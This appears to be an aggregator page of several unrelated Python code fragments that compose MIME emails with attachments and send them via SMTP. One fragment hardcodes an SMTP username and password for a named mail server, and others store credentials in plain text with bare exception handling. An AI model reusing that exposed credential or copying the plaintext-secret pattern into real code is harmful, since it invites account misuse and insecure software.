                    elif field == "last_connexion":
                        try:
                            value = user.last_login.strftime('%d-%m-%y')
                        except:
                            value = ''
                    elif field == "inscription_date":
                        try:
                            value = user.date_joined.strftime('%d-%m-%y')
                        except:
                            value = ''
                    elif field == "cohorte_names":
                        try:
                            value = user_cohorte
                        except:
                            value = ''
                    elif field == "time_tracking":
                        value = self.get_time_tracking(enrollment)
                    elif field == "certified":
                        if user_grade.passed:
                            value = _("Yes")
                        else:
                            value = _("No")
                    elif field == "grade_final":
                        value = str(int(round(user_grade.percent * 100))) + '%'
                    elif field == "username":
                        value = user.username
                    elif field in user_certificate_info.keys():
                        value = user_certificate_info.get(field)
                    else:
                        value = custom_field.get(field, '')
                    #Write header and write value
                    log.info('field')
                    log.info(field)
                    log.info('value')
                    log.info(value)
                    log.info(form_labels)
                    if field in form_labels.keys():
                        sheet.write(line, cell, value)
                        if line == 1:
                            sheet.write(0, cell, form_labels.get(field))
                        cell += 1
            line += 1
            log.warning("file ok")

        #Save the file
        output = BytesIO()
        wb.save(output)
        _files_values = output.getvalue()
        log.warning("file saved")

        #Send the email to receivers
        receivers = self.request.get('send_to')

        html = "<html><head></head><body><p>Bonjour,<br/><br/>Vous trouverez en PJ le rapport de donnees du MOOC {}<br/><br/>Bonne reception<br>The MOOC Agency<br></p></body></html>".format(
            course.display_name)
        part2 = MIMEText(html.encode('utf-8'), 'html', 'utf-8')

        for receiver in receivers:
            fromaddr = "*****@*****.**"
            toaddr = str(receiver)
            msg = MIMEMultipart()
            msg['From'] = fromaddr
            msg['To'] = toaddr
            msg['Subject'] = "Rapport de donnees"
            attachment = _files_values
            part = MIMEBase('application', 'octet-stream')
            part.set_payload(attachment)
            encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                "attachment; filename= %s" % os.path.basename(filename))
            msg.attach(part)
            server = smtplib.SMTP('mail3.themoocagency.com', 25)
            server.starttls()
            server.login('contact', 'waSwv6Eqer89')
            msg.attach(part2)
            text = msg.as_string()
            server.sendmail(fromaddr, toaddr, text)
            server.quit()
            log.warning("file sent to {}".format(receiver))

        response = {'path': self.filename, 'send_to': receivers}

        return response
Exemple #57
0
def send_mail(send_from, send_to, subject, text, files=None):
    """Send email"""
    assert isinstance(send_to, list)
    msg = MIMEMultipart(From=send_from,
                        To=COMMASPACE.join(send_to),
                        Date=formatdate(localtime=True),
                        Subject=subject)
    msg['Subject'] = subject
    msg.attach(MIMEText(text))

    for f in files or []:
        if f[-3:] == 'pdf':
            attachFile = MIMEBase('application', 'PDF')
            attachFile.set_payload(open(f, "rb").read())
            Encoders.encode_base64(attachFile)
            attachFile.add_header('Content-Disposition',
                                  'attachment',
                                  filename='ride.pdf')
            msg.attach(attachFile)
        if f[-3:] == 'xml':
            attachFile = MIMEBase('application', 'XML')
            attachFile.set_payload(open(f, "rb").read())
            Encoders.encode_base64(attachFile)
            attachFile.add_header('Content-Disposition',
                                  'attachment',
                                  filename='comprobante.xml')
            msg.attach(attachFile)


#    server = smtplib.SMTP('smtp.gmail.com:587')
#    username = "******"
#    password = "******"
#    server.ehlo()
#    server.starttls()

    server = smtplib.SMTP_SSL('pro.turbo-smtp.com')
    username = "******"
    password = "******"
    server.login(username, password)
    server.sendmail("*****@*****.**", send_to, msg.as_string())
    """
    server.sendmail("Accioma",
    "*****@*****.**",msg.as_string()
    """
    server.quit()
Exemple #58
0
#Join the file path components
for i in FILES:
    if os.path.exists(i) and os.path.isfile(i):
        LOGS.append(os.path.join(DIR, i))

# Create message container - the correct MIME type is multipart/alternative.
msg = MIMEMultipart('alternative')
msg['Subject'] = SUBJECT
msg['From'] = email.utils.formataddr((SENDERNAME, SENDER))
msg['To'] = RECIPIENT

# Record the MIME types of both parts - text/plain and text/html.

for log in LOGS:
    part0 = MIMEBase('application', 'octect-stream')
    part0.set_payload(open(log, 'rb').read())
    Encoders.encode_base64(part0)
    part0.add_header (
      'Content-Disposition',
       'attachment; filename={}'.format(os.path.basename(log))
    )
    msg.attach(part0)

part1 = MIMEText(BODY_TEXT, 'plain')
part2 = MIMEText(BODY_HTML, 'html')

# Attach parts into message container.
# According to RFC 2046, the last part of a multipart message, in this case
# the HTML message, is best and preferred.
msg.attach(part1)
       How are you?<br>
       Here is the <a href="http://www.python.org">link</a> you wanted.
    </p>
    <small>%s</small>
  </body>
</html>
""" % (st)

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

filename1 = "computer.jpg"
mime = mimetypes.guess_type(filename1)
mime = mime[0].split('/')

attachment1 = MIMEBase(mime[0], mime[1])
attachment1.set_payload(open(filename1, "rb").read())
Encoders.encode_base64(attachment1)
attachment1.add_header('Content-Disposition',
                       'attachment; filename=' + filename1)

msg.attach(part1)
msg.attach(part2)
msg.attach(attachment1)

#server = smtplib.SMTP('192.168.99.100', 1025)
server = smtplib.SMTP('127.0.0.1', 8025)
server.set_debuglevel(True)  # show communication with the server
try:
    server.sendmail('*****@*****.**', ['*****@*****.**'],
                    msg.as_string())
Exemple #60
0
class EnvoiEmail(object):
    def __init__(self):
        self.destinataire = ""
        self.sujet = ""
        self.message = ""
        self.piece_jointe = None

    def SetDestinataire(self, value):
        if re.match("^[a-zA-Z0-9._%-+]+@[a-zA-Z0-9._%-]+.[a-zA-Z]{2,6}$",
                    value):
            self.destinataire = value
        else:
            self.destinataire = ""

    def SetSujet(self, value):
        self.sujet = value

    def SetMessage(self, value):
        self.message = value

    def SetPieceJointe(self, value):
        if os.path.exists(value):
            try:
                self.piece_jointe = MIMEBase('application', 'octet-stream')
                self.piece_jointe.set_payload(open(value, 'rb').read())
                Encoders.encode_base64(self.piece_jointe)
                self.piece_jointe.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(value))
            except BaseException as ex:
                print ex
                self.piece_jointe = None
        else:
            self.piece_jointe = None

    def Envoi(self, silencieux=True):

        msg = MIMEMultipart()

        msg['From'] = Parametre.get(nom="SMTP_login")
        msg['To'] = self.destinataire
        msg['Subject'] = self.sujet

        msg.attach(MIMEText(self.message))

        if self.piece_jointe:
            msg.attach(self.piece_jointe)

        smtp = ConnectionSMTP()

        if smtp.TestConnectionInternet():
            try:
                smtp.SetServeur(Parametre.get(nom="SMTP_serveur"),
                                int(Parametre.get(nom="SMTP_serveurport")),
                                Parametre.get(nom="SMTP_serveursecurite"))

                smtp.SetLogin(Parametre.get(nom="SMTP_login"),
                              Parametre.get(nom="SMTP_motdepasse"))

                serveur = smtp.ConnectionServeur()
                serveur.sendmail(Parametre.get(nom="SMTP_login"),
                                 self.destinataire, msg.as_string())

                serveur.close()

                if not silencieux:
                    wx.MessageBox(u"L'email a bien été envoyé",
                                  u"Email envoyé", wx.ICON_INFORMATION)

                return True

            except SMTPRecipientsRefused:
                if not silencieux:
                    wx.MessageBox(
                        u"L'adresse email du destinataire est invalide",
                        "Erreur", wx.ICON_ERROR)

                return False

            except Exception as ex:
                if not silencieux:
                    wx.MessageBox(
                        u"Problème lors de l'envoi de l'email\n\n %s" % ex,
                        "Erreur", wx.ICON_ERROR)

                return False
        else:
            if not silencieux:
                wx.MessageBox(u"Problème de connection internet", "Erreur",
                              wx.ICON_ERROR | wx.CENTER)

                return False